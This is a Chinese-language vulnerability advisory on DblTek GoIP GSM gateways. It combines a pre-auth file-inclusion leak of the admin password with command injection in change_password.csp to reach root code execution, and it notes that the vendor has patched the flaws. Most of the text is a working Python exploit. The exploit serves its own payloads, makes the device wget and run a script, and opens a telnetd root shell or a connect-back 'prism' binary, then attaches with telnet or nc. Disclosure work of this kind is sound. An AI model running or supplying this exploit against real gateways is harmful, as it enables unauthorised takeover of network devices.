导语:发现的漏洞分别是预认证信息泄露和命令执行。如果结合这两个漏洞,就可以进行未认证的远程代码执行。
DblTek(深圳市得伯乐科技有限公司)主要是设计、开发、制造各种GSM网关, SIM BANK, RolP网关等产品。GoIP网关涵盖了1,4,8,16,32端口,可以满足大范围的市场需求。所有产品的价格都比较低,非常吸引人。因为价格和性能的优势,GoIP被系统集成商、VoIP服务提供商和其他商业个人用户广泛采用。
漏洞总结
下面描述了DblTek web服务器中2个漏洞。分别是预认证信息泄露和命令执行。如果结合这两个漏洞,就可以进行未认证的远程代码执行。
厂商回应
该漏洞已经被报告给SecuriTeam Secure Disclosure计划。DblTek已经发布了漏洞补丁。
漏洞细节
用户控制的输入没有进行充分的审查,可以触发本地文件包含(Local File Inclusion)。通过发送GET请求到
/dev/mtdblock/5,攻击者可以下载含有admin密码的配置文件。
GET /default/en_US/frame.html?content=/dev/mtdblock/5
在得到admin密码后,我们可以发送POST请求到change_password.csp触发第二个漏洞。
在传递给change_password.csp时,用户控制的输入没有经过充分的审查。攻击者可以在配置变量中注入含有恶意代码的脚本,并执行该脚本。
POST /default/en_US/change_password.csp Content-Type: application/x-www-form-urlencoded Authorization: Basic ###BASE64("admin", ###LEAKED_PASSWORD###)### level=user&user_level_enable=on&passwd=<%%25call system.exec: ###MALICIOUS_COMMAND###>
Proof of Concept
未认证的远程代码执行:
#!/usr/bin/python3 from http.server import BaseHTTPRequestHandler, HTTPServer import os, sys, base64, bz2, socket, argparse, threading, requests, re PAYLOAD0 = '''#!/bin/sh rm -f /tmp/y /bin/busybox telnetd -l /bin/sh -p %d & ''' PAYLOAD1 = '''#!/bin/sh rm -f /tmp/y /tmp/p wget -O /tmp/p http://%s:%d/prism chmod 755 /tmp/p /tmp/p ''' class Handler(BaseHTTPRequestHandler): PRISM_PORT = 1337 TELNET_PORT = 23 def do_GET(self): if self.path == '/0': self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() payload = PAYLOAD0 % Handler.TELNET_PORT self.wfile.write(payload.encode()) return if self.path == '/1': self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() payload = PAYLOAD1 % (Handler.HTTP_ADDR, Handler.HTTP_PORT) self.wfile.write(payload.encode()) return if self.path == '/prism': self.send_response(200) self.send_header('Content-type', 'octet/stream') self.end_headers() self.wfile.write(prism(Handler.HTTP_ADDR, Handler.PRISM_PORT)) return self.send_response(404) def log_message(self, format, *args): print(' -- SERVING ' + format % args) class Server(threading.Thread): def __init__(self, addr='0.0.0.0', port=8080): threading.Thread.__init__(self) Handler.HTTP_ADDR = addr Handler.HTTP_PORT = port self.httpd = HTTPServer((addr, port), Handler) def set(mime, data): self.RequestHandlerClass.mime = mime self.RequestHandlerClass.data = data def run(self): print(' - Starting server http://%s:%s' % self.httpd.socket.getsockname()) self.httpd.serve_forever() def stop(self): print(' - Stopping server') self.httpd.shutdown() def prism(host, port): pyfile = open(os.path.realpath(__file__), 'r') data, skip = '', True for line in pyfile: if skip and line != '""" PRISM ARM V5Ln': continue if line == '"""n': break if not skip: data += line.strip() skip = False port = str(port) bhost = host.encode() + (b'�' * (16 - len(host))) bport = port.encode() + (b'�' * ( 6 - len(port))) binary = bytearray(bz2.decompress(base64.b64decode(data))) binary[0x7810:0x7810+16] = bhost binary[0x7820:0x7820+ 6] = bport return binary def getip(host): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((host, 1337)) return s.getsockname()[0] def get(url): print(' -- GET %s' % url) response = requests.get(url) return response.text def post(url, password, data): print(' -- POST %s' % url) header = { 'Content-Type': 'application/x-www-form-urlencoded' } auth = requests.auth.HTTPBasicAuth('admin', password) response = requests.post(url, auth=auth, data=data, headers=header) return response.text def attack_leak(target, variable): print(' - Dumping configuration (variable=%s)' % variable) config = get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target) m = re.search(r'%s="(.*)"' % variable, config) if not m: print('Cannot leak variable %s :(' % variable) sys.exit(1) return m.group(1) def attack_exec(target, password, command): print(' - Executing "%s"' % command) argv = ', '.join(command.split()) data = 'level=user&user_level_enable=on&passwd=<%%25call system.exec: %s>' % argv post('http://%s/default/en_US/change_password.csp' % target, password, data) get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target) # Parsing attacker input parser = argparse.ArgumentParser(description='DBLTek Unauthenticated Pre-Auth RCE as root', epilog=""" Available modes are: 1 - Use telnetd on port %d 2 - Use prism daemon with port %d """ % (Handler.TELNET_PORT, Handler.PRISM_PORT), formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-a', '--addr', dest='addr', type=str, default=None, help="http server address") parser.add_argument('-p', '--port', dest='port', type=int, default=8080, help="http server port (default: 8080)") parser.add_argument('-m', '--mode', dest='mode', type=int, default=0, help="attack mode (default 0)") parser.add_argument('target') args = parser.parse_args(sys.argv[1:]) # Get local address based on target address and routes myaddr = getip(args.target) myport = args.port # Start payload delivery server server = Server(args.addr or myaddr, myport) server.start() try: # Leak ADMIN_PASSWORD password = attack_leak(args.target, 'ADMIN_PASSWORD') print(" -- ADMIN_PASSWORD = '%s'" % password) attack_exec(args.target, password, "/bin/wget -O /tmp/y http://%s:%d/%d" % (myaddr, myport, args.mode)) attack_exec(args.target, password, "/bin/sh /tmp/y") print(""" - Use these commands to wipe: -- => setsyscfg USER_PASSWORD= -- => setsyscfg USER_LEVEL_ENABLE=0""") if args.mode == 0: print(" - Telnet to %s port %d" % (args.target, Handler.TELNET_PORT)) os.system("telnet %s %d" % (args.target, Handler.TELNET_PORT)) if args.mode == 1: print(" - Listen on %s:%d (wait 15 seconds at least)" % (myaddr, Handler.PRISM_PORT)) os.system("nc -l -p %d" % Handler.PRISM_PORT) except RuntimeError as e: print(" - Failed :(") pass # Stop payload delivery server server.stop() server.join()